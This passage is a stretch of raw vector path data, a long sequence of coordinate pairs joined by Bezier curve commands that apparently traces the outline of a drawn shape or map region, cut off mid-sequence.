151932.33 73158.66 151943.00 73148.00C151953.67 73158.66 151964.33 73169.34 151975.00 73180.00C151985.67 73180.00 151996.33 73180.00 152007.00 73180.00C152007.00 73191.00 152007.00 73202.00 152007.00 73213.00C152018.00 73213.00 152029.00 73213.00 152040.00 73213.00C152061.33 73223.67 152082.67 73234.33 152104.00 73245.00C152104.00 73255.67 152104.00 73266.33 152104.00 73277.00C152146.67 73277.00 152189.33 73277.00 152232.00 73277.00C152232.00 73309.00 152232.00 73341.00 152232.00 73373.00C152296.84 73362.41 152361.61 73351.19 152426.49 73340.99C152437.14 73340.92 152447.79 73341.19 152458.44 73340.85C152490.29 73330.24 152522.15 73319.62 152554.00 73309.00C152575.33 73319.67 152596.67 73330.33 152618.00 73341.00C152639.67 73362.33 152661.33 73383.67 152683.00 73405.00C152683.00 73416.00 152683.00 73427.00 152683.00 73438.00C152693.67 73448.66 152704.33 73459.34 152715.00 73470.00C152704.33 73502.00 152693.67 73534.00 152683.00 73566.00C152683.08 73587.82 152682.85 73609.63 152683.11 73631.45C152693.84 73674.10 152704.31 73716.81 152715.21 73759.41C152725.81 73780.61 152736.40 73801.81 152747.00 73823.00C152747.00 73834.00 152747.00 73845.00 152747.00 73856.00C152779.00 73877.33 152811.00 73898.67 152843.00 73920.00C152875.33 73920.00 152907.67 73920.00 152940.00 73920.00C152961.33 73930.67 152982.67 73941.33 153004.00 73952.00C153036.33 73995.00 153068.67 74038.00 153101.00 74081.00C153122.33 74081.00 153143.67 74081.00 153165.00 74081.00C153186.33 74059.33 153207.67 74037.67 153229.00 74016.00C153239.67 74016.00 153250.33 74016.00 153261.00 74016.00C153271.67 74037.66 153282.33 74059.34 153293.00 74081.00C153293.00 74113.00 153293.00 74145.00 153293.00 74177.00C153314.67 74209.33 153336.33 74241.67 153358.00 74274.00C153358.00 74306.00 153358.00 74338.00 153358.00 74370.00C153380.13 74369.75 153402.32 74370.51 153424.41 74369.60C153487.94 74359.06 153551.47 74348.53 153615.00 74338.00C153625.67 74327.34 153636.33 74316.66 153647.00 74306.00C153647.00 74273.67 153647.00 74241.33 153647.00 74209.00C153668.67 74198.33 153690.33 74187.67 153712.00 74177.00C153754.67 74134.34 153797.33 74091.66 153840.00 74049.00C153840.00 74006.00 153840.00 73963.00 153840.00 73920.00C153850.67 73930.66 153861.33 73941.34 153872.00 73952.00C153904.33 73962.67 153936.67 73973.33 153969.00 73984.00C153969.00 73994.67 153969.00 74005.33 153969.00 74016.00C153990.48 74015.90 154011.96 74016.20 154033.44 74015.85C154065.29 74005.24 154097.15 73994.62 154129.00 73984.00C154150.67 73984.00 154172.33 73984.00 154194.00 73984.00C154215.33 73973.33 154236.67 73962.67 154258.00 73952.00C154268.67 73962.66 154279.33 73973.34 154290.00 73984.00C154322.38 73941.18 154354.94 73898.49 154387.20 73855.58C154397.80 73834.05 154408.40 73812.53 154419.00 73791.00C154429.67 73780.34 154440.33 73769.66 154451.00 73759.00C154483.33 73769.67 154515.67 73780.33 154548.00 73791.00C154580.00 73780.33 154612.00 73769.67 154644.00 73759.00C154687.00 73769.67 154730.00 73780.33 154773.00 73791.00C154815.67 73780.33 154858.33 73769.67 154901.00 73759.00C154911.67 73737.67 154922.33 73716.33 154933.00 73695.00C154922.33 73673.67 154911.67 73652.33 154901.00 73631.00C154911.85 73619.97 154922.39 73608.64 154933.42 73597.79C154954.94 73587.19 154976.47 73576.60 154998.00 73566.00C155030.00 73576.67 155062.00 73587.33 155094.00 73598.00C155104.84 73587.30 155115.40 73576.31 155126.42 73565.79C155147.94 73555.19 155169.47 73544.60 155191.00 73534.00C155201.67 73523.34 155212.33 73512.66 155223.00 73502.00C155223.00 73459.00 155223.00 73416.00 155223.00 73373.00C155234.52 73361.94 155245.17 73349.89 155257.26 73339.49C155289.02 73318.48 155320.50 73297.02 155352.42 73276.30C155394.95 73255.19 155437.47 73234.10 155480.00 73213.00C155490.67 73202.00 155501.33 73191.00 155512.00 73180.00C155522.67 73180.00 155533.33 73180.00 155544.00 73180.00C155544.00 73137.33 155544.00 73094.67 155544.00 73052.00C155597.67 73019.67 155651.33 72987.33 155705.00 72955.00C155715.67 72933.67 155726.33 72912.33 155737.00 72891.00C155747.81 72890.90 155758.63 72891.20 155769.44 72890.85C155801.63 72880.24 155833.81 72869.62 155866.00 72859.00C155898.00 72859.00 155930.00 72859.00 155962.00 72859.00C155973.52 72847.93 155984.18 72835.88 155996.28 72825.47C156028.35 72804.13 156060.16 72782.35 156092.40 72761.30C156113.27 72750.86 156134.13 72740.43 156155.00 72730.00C156165.67 72730.00 156176.33 72730.00 156187.00 72730.00C156208.67 72740.67 156230.33 72751.33 156252.00 72762.00C156273.33 72762.00 156294.67 72762.00 156316.00 72762.00C156337.33 72751.33 156358.67 72740.67 156380.00 72730.00C156476.67 72730.00 156573.33 72730.00 156670.00 72730.00C156702.12 72719.22 156734.33 72708.70 156766.40 72697.76C156819.93 72665.84 156873.47 72633.92 156927.00 72602.00C156969.67 72602.00 157012.33 72602.00 157055.00 72602.00C157076.67 72591.33 157098.33 72580.67 157120.00 72570.00C157162.67 72591.33 157205.33 72612.67 157248.00 72634.00C157291.00 72601.67 157334.00 72569.33 157377.00 72537.00C157398.33 72569.34 157419.67 72601.66 157441.00 72634.00C157473.33 72634.00 157505.67 72634.00 157538.00 72634.00C157559.33 72655.34 157580.67 72676.66 157602.00 72698.00C157612.67 72698.00 157623.33 72698.00 157634.00 72698.00C157644.79 72686.77 157656.56 72676.32 157666.72 72664.60C157677.49 72643.73 157688.24 72622.87 157699.00 72602.00C157731.00 72591.33 157763.00 72580.67 157795.00 72570.00C157816.33 72548.33 157837.67 72526.67 157859.00 72505.00C157869.67 72505.00 157880.33 72505.00 157891.00 72505.00C157912.67 72515.67 157934.33 72526.33 157956.00 72537.00C157977.33 72537.00 157998.67 72537.00 158020.00 72537.00C158041.33 72440.67 158062.67 72344.33 158084.00 72248.00C158116.33 72215.66 158148.67 72183.34 158181.00 72151.00C158181.00 72119.00 158181.00 72087.00 158181.00 72055.00C158213.00 72023.00 158245.00 71991.00 158277.00 71959.00C158287.67 71959.00 158298.33 71959.00 158309.00 71959.00C158331.17 71937.05 158352.92 71914.63 158375.37 71892.97C158417.58 71861.32 158459.79 71829.66 158502.00 71798.00C158502.00 71723.00 158502.00 71648.00 158502.00 71573.00C158513.00 71530.00 158524.00 71487.00 158535.00 71444.00C158535.00 71433.33 158535.00 71422.67 158535.00 71412.00C158610.00 71412.00 158685.00 71412.00 158760.00 71412.00C158770.67 71390.67 158781.33 71369.33 158792.00 71348.00C158792.00 71326.33 158792.00 71304.67 158792.00 71283.00C158856.82 71272.41 158921.58 71261.20 158986.45 71251.00C158996.63 71251.00 159006.82 71251.00 159017.00 71251.00C159017.00 71229.67 159017.00 71208.33 159017.00 71187.00C159038.33 71187.00 159059.67 71187.00 159081.00 71187.00C159091.67 71165.67 159102.33 71144.33 159113.00 71123.00C159166.67 71123.00 159220.33 71123.00 159274.00 71123.00C159284.67 71144.33 159295.33 71165.67 159306.00 71187.00C159338.33 71176.33 159370.67 71165.67 159403.00 71155.00C159403.00 71112.00 159403.00 71069.00 159403.00 71026.00C159424.33 71015.33 159445.67 71004.67 159467.00 70994.00C159477.67 70951.00 159488.33 70908.00 159499.00 70865.00C159509.67 70865.00 159520.33 70865.00 159531.00 70865.00C159541.67 70843.67 159552.33 70822.33 159563.00 70801.00C159563.00 70779.67 159563.00 70758.33 159563.00 70737.00C159574.00 70726.33 159585.00 70715.67 159596.00 70705.00C159596.00 70694.00 159596.00 70683.00 159596.00 70672.00C159606.67 70672.00 159617.33 70672.00 159628.00 70672.00C159638.67 70640.00 159649.33 70608.00 159660.00 70576.00C159681.33 70576.00 159702.67 70576.00 159724.00 70576.00C159745.80 70553.95 159768.12 70532.38 159789.58 70510.02C159832.06 70457.02 159874.53 70404.01 159917.00 70351.00C159927.67 70361.66 159938.33 70372.34 159949.00 70383.00C159971.02 70328.75 159992.64 70274.32 160014.91 70220.17C160035.98 70177.96 160057.19 70135.82 160078.15 70093.56C160088.75 70061.37 160099.38 70029.19 160110.00 69997.00C160131.33 69975.66 160152.67 69954.34 160174.00 69933.00C160174.00 69922.33 160174.00 69911.67 160174.00 69901.00C160206.33 69901.00 160238.67 69901.00 160271.00 69901.00C160313.67 69933.00 160356.33 69965.00 160399.00 69997.00C160431.33 69997.00 160463.67 69997.00 160496.00 69997.00C160528.00 70018.67 160560.00 70040.33 160592.00 70062.00C160602.67 70062.00 160613.33 70062.00 160624.00 70062.00C160645.67 70051.00 160667.33 70040.00 160689.00 70029.00C160710.33 70007.66 160731.67 69986.34 160753.00 69965.00C160785.33 69965.00 160817.67 69965.00 160850.00 69965.00C160850.00 69954.33 160850.00 69943.67 160850.00 69933.00C160860.67 69922.34 160871.33 69911.66 160882.00 69901.00C160892.81 69901.10 160903.63 69900.80 160914.44 69901.15C160946.29 69911.76 160978.15 69922.38 161010.00 69933.00C161020.67 69922.34 161031.33 69911.66 161042.00 69901.00C161053.00 69911.67 161064.00 69922.33 161075.00 69933.00C161085.67 69922.34 161096.33 69911.66 161107.00 69901.00C161117.67 69911.66 161128.33 69922.34 161139.00 69933.00C161149.67 69922.34 161160.33 69911.66 161171.00 69901.00C161181.67 69911.66 161192.33 69922.34 161203.00 69933.00C161278.00 69922.33 161353.00 69911.67 161428.00 69901.00C161417.33 69922.33 161406.67 69943.67 161396.00 69965.00C161396.00 69975.67 161396.00 69986.33 161396.00 69997.00C161385.33 70007.66 161374.67 70018.34 161364.00 70029.00C161364.00 70040.00 161364.00 70051.00 161364.00 70062.00C161374.67 70083.33 161385.33 70104.67 161396.00 70126.00C161406.67 70136.66 161417.33 70147.34 161428.00 70158.00C161428.00 70168.67 161428.00 70179.33 161428.00 70190.00C161438.79 70201.23 161450.58 70211.68 161460.72 70223.42C161471.49 70244.61 161482.24 70265.81 161493.00 70287.00C161525.00 70287.00 161557.00 70287.00 161589.00 70287.00C161589.00 70297.67 161589.00 70308.33 161589.00 70319.00C161599.67 70308.34 161610.33 70297.66 161621.00 70287.00C161685.33 70287.00 161749.67 70287.00 161814.00 70287.00C161824.67 70329.67 161835.33 70372.33 161846.00 70415.00C161835.33 70458.00 161824.67 70501.00 161814.00 70544.00C161835.33 70554.67 161856.67 70565.33 161878.00 70576.00C161910.33 70554.66 161942.67 70533.34 161975.00 70512.00C161985.67 70512.00 161996.33 70512.00 162007.00 70512.00C162028.33 70501.00 162049.67 70490.00 162071.00 70479.00C162103.33 70490.00 162135.67 70501.00 162168.00 70512.00C162168.00 70533.33 162168.00 70554.67 162168.00 70576.00C162189.48 70575.93 162210.97 70576.15 162232.45 70575.89C162275.30 70565.26 162318.15 70554.63 162361.00 70544.00C162361.00 70565.33 162361.00 70586.67 162361.00 70608.00C162382.33 70629.34 162403.67 70650.66 162425.00 70672.00C162435.67 70672.00 162446.33 70672.00 162457.00 70672.00C162457.00 70715.00 162457.00 70758.00 162457.00 70801.00C162478.33 70822.34 162499.67 70843.66 162521.00 70865.00C162521.00 70886.67 162521.00 70908.33 162521.00 70930.00C162553.33 70940.67 162585.67 70951.33 162618.00 70962.00C162618.00 71004.67 162618.00 71047.33 162618.00 71090.00C162639.33 71090.00 162660.67 71090.00 162682.00 71090.00C162682.00 71143.67 162682.00 71197.33 162682.00 71251.00C162714.01 71315.50 162746.98 71379.51 162779.00 71444.00C162779.00 71465.33 162779.00 71486.67 162779.00 71508.00C162789.67 71519.00 162800.33 71530.00 162811.00 71541.00C162811.00 71573.00 162811.00 71605.00 162811.00 71637.00C162821.67 71647.66 162832.33 71658.34 162843.00 71669.00C162832.33 71690.66 162821.67 71712.34 162811.00 71734.00C162832.33 71744.67 162853.67 71755.33 162875.00 71766.00C162885.67 71787.33 162896.33 71808.67 162907.00 71830.00C162928.67 71830.00 162950.33 71830.00 162972.00 71830.00C162972.00 71840.67 162972.00 71851.33 162972.00 71862.00C162993.33 71851.33 163014.67 71840.67 163036.00 71830.00C163057.33 71840.67 163078.67 71851.33 163100.00 71862.00C163110.67 71862.00 163121.33 71862.00 163132.00 71862.00C163132.00 71883.33 163132.00 71904.67 163132.00 71926.00C163143.00 71926.00 163154.00 71926.00 163165.00 71926.00C163187.04 71937.58 163209.46 71948.49 163231.26 71960.51C163262.51 71981.34 163293.75 72002.17 163325.00 72023.00C163368.00 72023.00 163411.00 72023.00 163454.00 72023.00C163464.67 72044.33 163475.33 72065.67 163486.00 72087.00C163507.33 72097.67 163528.67 72108.33 163550.00 72119.00C163539.33 72140.66 163528.67 72162.34 163518.00 72184.00C163518.00 72216.00 163518.00 72248.00 163518.00 72280.00C163507.33 72301.33 163496.67 72322.67 163486.00 72344.00C163486.00 72355.00 163486.00 72366.00 163486.00 72377.00C163464.67 72409.00 163443.33 72441.00 163422.00 72473.00C163432.67 72494.33 163443.33 72515.67 163454.00 72537.00C163454.00 72558.67 163454.00 72580.33 163454.00 72602.00C163464.67 72602.00 163475.33 72602.00 163486.00 72602.00C163486.00 72623.33 163486.00 72644.67 163486.00 72666.00C163475.33 72676.66 163464.67 72687.34 163454.00 72698.00C163421.67 72708.67 163389.33 72719.33 163357.00 72730.00C163357.00 72751.67 163357.00 72773.33 163357.00 72795.00C163335.67 72805.67 163314.33 72816.33 163293.00 72827.00C163261.00 72816.33 163229.00 72805.67 163197.00 72795.00C163197.00 72805.67 163197.00 72816.33 163197.00 72827.00C163186.33 72827.00 163175.67 72827.00 163165.00 72827.00C163154.00 72837.67 163143.00 72848.33 163132.00 72859.00C163164.33 72901.67 163196.67 72944.33 163229.00 72987.00C163218.33 72998.00 163207.67 73009.00 163197.00 73020.00C163207.67 73041.33 163218.33 73062.67 163229.00 73084.00C163207.67 73105.34 163186.33 73126.66 163165.00 73148.00C163175.67 73169.66 163186.33 73191.34 163197.00 73213.00C163197.00 73245.00 163197.00 73277.00 163197.00 73309.00C163186.33 73309.00 163175.67 73309.00 163165.00 73309.00C163143.33 73319.67 163121.67 73330.33 163100.00 73341.00C163100.00 73373.33 163100.00 73405.67 163100.00 73438.00C163078.67 73480.67 163057.33 73523.33 163036.00 73566.00C163079.00 73544.67 163122.00 73523.33 163165.00 73502.00C163207.67 73502.00 163250.33 73502.00 163293.00 73502.00C163304.30 73512.89 163314.86 73524.70 163326.65 73534.99C163379.77 73567.00 163432.89 73599.00 163486.00 73631.00C163571.70 73652.21 163657.36 73673.54 163743.00 73695.00C163796.67 73673.67 163850.33 73652.33 163904.00 73631.00C163936.33 73631.00 163968.67 73631.00 164001.00 73631.00C164032.45 73598.13 164064.86 73566.19 164097.00 73534.00C164107.67 73534.00 164118.33 73534.00 164129.00 73534.00C164139.67 73491.00 164150.33 73448.00 164161.00 73405.00C164171.67 73394.34 164182.33 73383.66 164193.00 73373.00C164225.33 73362.33 164257.67 73351.67 164290.00 73341.00C164311.48 73341.10 164332.96 73340.81 164354.44 73341.15C164386.63 73351.76 164418.81 73362.38 164451.00 73373.00C164461.67 73383.66 164472.33 73394.34 164483.00 73405.00C164504.64 73372.17 164526.98 73339.77 164548.17 73306.67C164580.11 73243.11 164612.06 73179.56 164644.00 73116.00C164665.33 73094.66 164686.67 73073.34 164708.00 73052.00C164729.33 73052.00 164750.67 73052.00 164772.00 73052.00C164804.33 73084.00 164836.67 73116.00 164869.00 73148.00C164901.00 73158.67 164933.00 73169.33 164965.00 73180.00C164975.67 73180.00 164986.33 73180.00 164997.00 73180.00C165040.00 73137.33 165083.00 73094.67 165126.00 73052.00C165126.00 73009.00 165126.00 72966.00 165126.00 72923.00C165147.33 72858.67 165168.67 72794.33 165190.00 72730.00C165211.67 72708.67 165233.33 72687.33 165255.00 72666.00C165276.33 72548.00 165297.67 72430.00 165319.00 72312.00C165329.67 72280.00 165340.33 72248.00 165351.00 72216.00C165340.33 72173.00 165329.67 72130.00 165319.00 72087.00C165329.73 72033.19 165340.32 71979.35 165351.15 71925.56C165372.42 71861.70 165393.72 71797.85 165415.00 71734.00C165458.00 71691.00 165501.00 71648.00 165544.00 71605.00C165576.00 71605.00 165608.00 71605.00 165640.00 71605.00C165651.00 71615.67 165662.00 71626.33 165673.00 71637.00C165683.67 71637.00 165694.33 71637.00 165705.00 71637.00C165737.15 71669.40 165769.13 71701.97 165801.39 71734.26C165833.59 71755.50 165865.80 71776.75 165898.00 71798.00C165908.67 71819.33 165919.33 71840.67 165930.00 71862.00C165983.67 71862.00 166037.33 71862.00 166091.00 71862.00C166155.00 71830.00 166219.00 71798.00 166283.00 71766.00C166326.00 71723.00 166369.00 71680.00 166412.00 71637.00C166519.33 71637.00 166626.67 71637.00 166734.00 71637.00C166756.16 71626.16 166777.96 71614.51 166800.37 71604.21C166831.58 71593.81 166862.79 71583.40 166894.00 71573.00C166958.91 71497.47 167023.54 71421.69 167088.63 71346.32C167098.75 71335.88 167108.88 71325.44 167119.00 71315.00C167130.00 71283.00 167141.00 71251.00 167152.00 71219.00C167173.33 71208.33 167194.67 71197.67 167216.00 71187.00C167248.00 71122.67 167280.00 71058.33 167312.00 70994.00C167301.23 70950.87 167290.72 70907.67 167279.79 70864.59C167247.85 70800.39 167215.93 70736.20 167184.00 70672.00C167184.00 70629.33 167184.00 70586.67 167184.00 70544.00C167194.67 70533.34 167205.33 70522.66 167216.00 70512.00C167249.49 70500.75 167282.68 70488.55 167316.36 70477.92C167400.91 70456.95 167485.45 70435.97 167570.00 70415.00C167591.33 70425.67 167612.67 70436.33 167634.00 70447.00C167655.33 70447.00 167676.67 70447.00 167698.00 70447.00C167762.33 70404.33 167826.67 70361.67 167891.00 70319.00C167966.50 70329.60 168041.94 70340.74 168117.47 70351.00C168138.65 70351.00 168159.82 70351.00 168181.00 70351.00C168212.22 70319.67 168243.79 70288.68 168274.37 70256.72C168280.02 70250.44 168270.77 70241.24 168270.28 70233.86C168261.86 70208.57 168253.43 70183.29 168245.00 70158.00C168244.94 70125.85 168245.12 70093.70 168244.91 70061.54C168234.27 70008.03 168223.64 69954.51 168213.00 69901.00C168191.33 69858.00 168169.67 69815.00 168148.00 69772.00C168159.00 69740.00 168170.00 69708.00 168181.00 69676.00C168245.00 69676.00 168309.00 69676.00 168373.00 69676.00C168405.33 69665.00 168437.67 69654.00 168470.00 69643.00C168502.00 69643.00 168534.00 69643.00 168566.00 69643.00C168630.33 69621.67 168694.67 69600.33 168759.00 69579.00C168759.00 69568.33 168759.00 69557.67 168759.00 69547.00C168780.41 69525.40 168802.08 69504.08 168824.00 69483.00C168866.67 69472.33 168909.33 69461.67 168952.00 69451.00C168962.67 69440.00 168973.33 69429.00 168984.00 69418.00C169048.33 69396.67 169112.67 69375.33 169177.00 69354.00C169209.33 69332.66 169241.67 69311.34 169274.00 69290.00C169274.00 69268.67 169274.00 69247.33 169274.00 69226.00C169284.67 69215.00 169295.33 69204.00 169306.00 69193.00C169348.67 69193.00 169391.33 69193.00 169434.00 69193.00C169445.00 69161.00 169456.00 69129.00 169467.00 69097.00C169478.14 69096.77 169489.36 69097.46 169500.45 69096.64C169542.63 69086.09 169584.82 69075.54 169627.00 69065.00C169648.67 69065.00 169670.33 69065.00 169692.00 69065.00C169734.67 69107.66 169777.33 69150.34 169820.00 69193.00C169906.00 69193.00 169992.00 69193.00 170078.00 69193.00C170088.79 69204.56 170100.54 69215.37 170110.71 69227.41C170121.14 69248.27 170131.57 69269.14 170142.00 69290.00C170142.10 69311.48 170141.81 69332.96 170142.15 69354.44C170152.75 69386.63 170163.38 69418.81 170174.00 69451.00C170195.33 69461.67 170216.67 69472.33 170238.00 69483.00C170248.79 69494.23 170260.56 69504.68 170270.72 69516.40C170281.49 69537.27 170292.24 69558.13 170303.00 69579.00C170292.00 69589.67 170281.00 69600.33 170270.00 69611.00C170270.00 69675.33 170270.00 69739.67 170270.00 69804.00C170281.00 69825.67 170292.00 69847.33 170303.00 69869.00C170324.33 69890.34 170345.67 69911.66 170367.00 69933.00C170377.67 69933.00 170388.33 69933.00 170399.00 69933.00C170399.00 69922.33 170399.00 69911.67 170399.00 69901.00C170431.33 69911.67 170463.67 69922.33 170496.00 69933.00C170528.00 69922.33 170560.00 69911.67 170592.00 69901.00C170613.60 69879.60 170634.92 69857.92 170656.00 69836.00C170677.67 69857.66 170699.33 69879.34 170721.00 69901.00C170721.00 69911.67 170721.00 69922.33 170721.00 69933.00C170765.70 69943.99 170810.23 69955.69 170855.03 69966.20C170908.24 69976.91 170961.56 69987.07 171014.69 69998.16C171091.66 70017.12 171168.57 70036.33 171245.26 70056.41C171253.66 70058.15 171261.86 70061.51 171270.42 70062.00C171279.95 70062.00 171289.47 70062.00 171299.00 70062.00C171320.67 70083.33 171342.33 70104.67 171364.00 70126.00C171406.67 70147.33 171449.33 70168.67 171492.00 70190.00C171513.67 70233.00 171535.33 70276.00 171557.00 70319.00C171578.33 70329.67 171599.67 70340.33 171621.00 70351.00C171631.67 70361.66 171642.33 70372.34 171653.00 70383.00C171674.48 70382.90 171695.96 70383.19 171717.44 70382.85C171750.31 70372.22 171782.97 70360.81 171815.96 70350.68C171879.64 70340.12 171943.32 70329.56 172007.00 70319.00C172028.33 70308.33 172049.67 70297.67 172071.00 70287.00C172093.22 70287.24 172115.49 70286.52 172137.67 70287.38C172212.28 70297.85 172286.84 70308.87 172361.48 70319.00C172371.99 70319.00 172382.49 70319.00 172393.00 70319.00C172405.13 70330.58 172416.18 70343.37 172429.09 70354.07C172470.50 70385.17 172511.99 70416.14 172553.33 70447.33C172596.22 70490.22 172639.11 70533.11 172682.00 70576.00C172714.00 70586.67 172746.00 70597.33 172778.00 70608.00C172799.67 70629.33 172821.33 70650.67 172843.00 70672.00C172853.73 70705.08 172865.13 70737.96 172875.43 70771.16C172885.92 70824.27 172896.65 70877.33 172907.00 70930.46C172907.00 70962.31 172907.00 70994.15 172907.00 71026.00C172939.11 71090.45 172971.62 71154.69 173004.00 71219.00C173046.67 71240.33 173089.33 71261.67 173132.00 71283.00C173153.33 71272.33 173174.67 71261.67 173196.00 71251.00C173207.00 71251.00 173218.00 71251.00 173229.00 71251.00C173250.33 71208.33 173271.67 71165.67 173293.00 71123.00C173293.00 71026.33 173293.00 70929.67 173293.00 70833.00C173304.42 70810.65 173315.05 70787.88 173326.99 70765.82C173380.00 70681.22 173433.00 70596.61 173486.00 70512.00C173518.00 70501.00 173550.00 70490.00 173582.00 70479.00C173646.33 70490.00 173710.67 70501.00 173775.00 70512.00C173818.09 70544.13 173861.30 70576.11 173904.33 70608.33C173925.55 70629.55 173946.78 70650.77 173968.00 70672.00C173957.23 70715.13 173946.73 70758.33 173935.79 70801.41C173925.19 70822.61 173914.60 70843.81 173904.00 70865.00C173860.90 70897.46 173817.70 70929.78 173774.67 70962.33C173764.11 70972.88 173753.56 70983.44 173743.00 70994.00C173743.00 71004.67 173743.00 71015.33 173743.00 71026.00C173732.33 71036.66 173721.67 71047.34 173711.00 71058.00C173711.00 71068.67 173711.00 71079.33 173711.00 71090.00C173722.26 71112.37 173732.73 71135.18 173744.51 71157.26C173765.77 71188.82 173786.42 71220.84 173808.09 71252.09C173840.20 71284.13 173872.19 71316.30 173904.37 71348.28C173947.07 71380.23 173989.63 71412.37 174032.42 71444.21C174075.38 71465.27 174118.24 71486.53 174161.00 71508.00C174193.00 71519.00 174225.00 71530.00 174257.00 71541.00C174332.33 71465.66 174407.67 71390.34 174483.00 71315.00C174493.67 71315.00 174504.33 71315.00 174515.00 71315.00C174536.33 71304.33 174557.67 71293.67 174579.00 71283.00C174611.33 71283.00 174643.67 71283.00 174676.00 71283.00C174676.00 71304.67 174676.00 71326.33 174676.00 71348.00C174708.00 71380.00 174740.00 71412.00 174772.00 71444.00C174782.67 71476.33 174793.33 71508.67 174804.00 71541.00C174804.00 71551.67 174804.00 71562.33 174804.00 71573.00C174792.49 71584.06 174781.83 71596.11 174769.74 71606.51C174738.49 71627.34 174707.25 71648.17 174676.00 71669.00C174665.00 71690.67 174654.00 71712.33 174643.00 71734.00C174654.00 71755.33 174665.00 71776.67 174676.00 71798.00C174697.33 71798.00 174718.67 71798.00 174740.00 71798.00C174707.67 71830.00 174675.33 71862.00 174643.00 71894.00C174654.00 71937.00 174665.00 71980.00 174676.00 72023.00C174697.40 72044.49 174718.97 72065.80 174740.26 72087.39C174761.53 72119.76 174783.02 72151.98 174804.17 72184.43C174825.45 72237.62 174846.72 72290.81 174868.00 72344.00C174857.33 72365.66 174846.67 72387.34 174836.00 72409.00C174889.70 72526.82 174943.52 72644.59 174997.15 72762.44C175018.42 72826.63 175039.72 72890.81 175061.00 72955.00C175104.00 72998.00 175147.00 73041.00 175190.00 73084.00C175200.67 73116.00 175211.33 73148.00 175222.00 73180.00C175232.67 73191.00 175243.33 73202.00 175254.00 73213.00C175254.00 73234.33 175254.00 73255.67 175254.00 73277.00C175243.33 73287.66 175232.67 73298.34 175222.00 73309.00C175222.00 73330.33 175222.00 73351.67 175222.00 73373.00C175232.67 73383.66 175243.33 73394.34 175254.00 73405.00C175286.33 73405.00 175318.67 73405.00 175351.00 73405.00C175383.00 73437.33 175415.00 73469.67 175447.00 73502.00C175468.33 73491.33 175489.67 73480.67 175511.00 73470.00C175543.33 73480.67 175575.67 73491.33 175608.00 73502.00C175618.67 73491.34 175629.33 73480.66 175640.00 73470.00C175651.62 73470.41 175663.39 73469.14 175674.90 73470.72C175716.93 73481.14 175758.97 73491.57 175801.00 73502.00C175811.67 73502.00 175822.33 73502.00 175833.00 73502.00C175833.00 73512.67 175833.00 73523.33 175833.00 73534.00C175843.67 73544.66 175854.33 73555.34 175865.00 73566.00C175875.67 73566.00 175886.33 73566.00 175897.00 73566.00C175918.67 73587.66 175940.33 73609.34 175962.00 73631.00C175994.00 73631.00 176026.00 73631.00 176058.00 73631.00C176100.75 73673.92 176143.73 73716.61 176187.00 73759.00C176176.02 73791.77 176165.64 73824.78 176154.28 73857.40C176143.51 73878.27 176132.76 73899.13 176122.00 73920.00C176122.00 73930.67 176122.00 73941.33 176122.00 73952.00C176100.67 73973.34 176079.33 73994.66 176058.00 74016.00C176068.67 74027.00 176079.33 74038.00 176090.00 74049.00C176090.00 74059.67 176090.00 74070.33 176090.00 74081.00C176079.33 74091.66 176068.67 74102.34 176058.00 74113.00C176058.00 74123.67 176058.00 74134.33 176058.00 74145.00C176047.33 74134.34 176036.67 74123.66 176026.00 74113.00C176015.33 74123.66 176004.67 74134.34 175994.00 74145.00C175994.00 74188.00 175994.00 74231.00 175994.00 74274.00C176004.67 74295.33 176015.33 74316.67 176026.00 74338.00C176047.33 74348.67 176068.67 74359.33 176090.00 74370.00C176111.41 74391.60 176133.08 74412.92 176155.00 74434.00C176176.42 74445.15 176198.02 74455.97 176219.33 74467.33C176229.89 74477.88 176240.44 74488.44 176251.00 74499.00C176240.33 74509.66 176229.67 74520.34 176219.00 74531.00C176197.67 74531.00 176176.33 74531.00 176155.00 74531.00C176133.33 74552.33 176111.67 74573.67 176090.00 74595.00C176079.33 74616.33 176068.67 74637.67 176058.00 74659.00C176036.67 74670.00 176015.33 74681.00 175994.00 74692.00C175994.00 74799.00 175994.00 74906.00 175994.00 75013.00C176015.33 75056.00 176036.67 75099.00 176058.00 75142.00C176068.67 75142.00 176079.33 75142.00 176090.00 75142.00C176090.00 75152.67 176090.00 75163.33 176090.00 75174.00C176122.33 75206.00 176154.67 75238.00 176187.00 75270.00C176219.00 75281.00 176251.00 75292.00 176283.00 75303.00C176293.67 75303.00 176304.33 75303.00 176315.00 75303.00C176325.67 75313.66 176336.33 75324.34 176347.00 75335.00C176325.67 75377.67 176304.33 75420.33 176283.00 75463.00C176293.67 75473.66 176304.33 75484.34 176315.00 75495.00C176315.00 75506.00 176315.00 75517.00 176315.00 75528.00C176293.67 75549.34 176272.33 75570.66 176251.00 75592.00C176251.00 75624.00 176251.00 75656.00 176251.00 75688.00C176229.67 75720.34 176208.33 75752.66 176187.00 75785.00C176187.00 75795.67 176187.00 75806.33 176187.00 75817.00C176208.33 75827.67 176229.67 75838.33 176251.00 75849.00C176283.00 75913.33 176315.00 75977.67 176347.00 76042.00C176358.00 76052.67 176369.00 76063.33 176380.00 76074.00C176390.67 76074.00 176401.33 76074.00 176412.00 76074.00C176433.33 76063.33 176454.67 76052.67 176476.00 76042.00C176497.33 76042.00 176518.67 76042.00 176540.00 76042.00C176540.00 76063.33 176540.00 76084.67 176540.00 76106.00C176572.33 76106.00 176604.67 76106.00 176637.00 76106.00C176669.00 76116.67 176701.00 76127.33 176733.00 76138.00C176743.67 76127.34 176754.33 76116.66 176765.00 76106.00C176840.33 76149.00 176915.67 76192.00 176991.00 76235.00C177001.67 76256.33 177012.33 76277.67 177023.00 76299.00C177023.00 76363.33 177023.00 76427.67 177023.00 76492.00C177065.67 76577.66 177108.33 76663.34 177151.00 76749.00C177183.33 76792.00 177215.67 76835.00 177248.00 76878.00C177247.78 76899.90 177248.44 76921.86 177247.66 76943.71C177237.13 76996.97 177226.38 77050.18 177216.00 77103.46C177216.00 77113.98 177216.00 77124.49 177216.00 77135.00C177237.33 77145.67 177258.67 77156.33 177280.00 77167.00C177322.67 77370.67 177365.33 77574.33 177408.00 77778.00C177408.00 77788.67 177408.00 77799.33 177408.00 77810.00C177419.00 77821.00 177430.00 77832.00 177441.00 77843.00C177398.00 77864.33 177355.00 77885.67 177312.00 77907.00C177280.00 77907.00 177248.00 77907.00 177216.00 77907.00C177204.16 77918.07 177193.11 77930.06 177180.74 77940.51C177149.49 77961.34 177118.25 77982.17 177087.00 78003.00C177076.33 78003.00 177065.67 78003.00 177055.00 78003.00C177044.33 78014.00 177033.67 78025.00 177023.00 78036.00C177023.00 78046.67 177023.00 78057.33 177023.00 78068.00C177001.33 78068.00 176979.67 78068.00 176958.00 78068.00C176958.00 78078.67 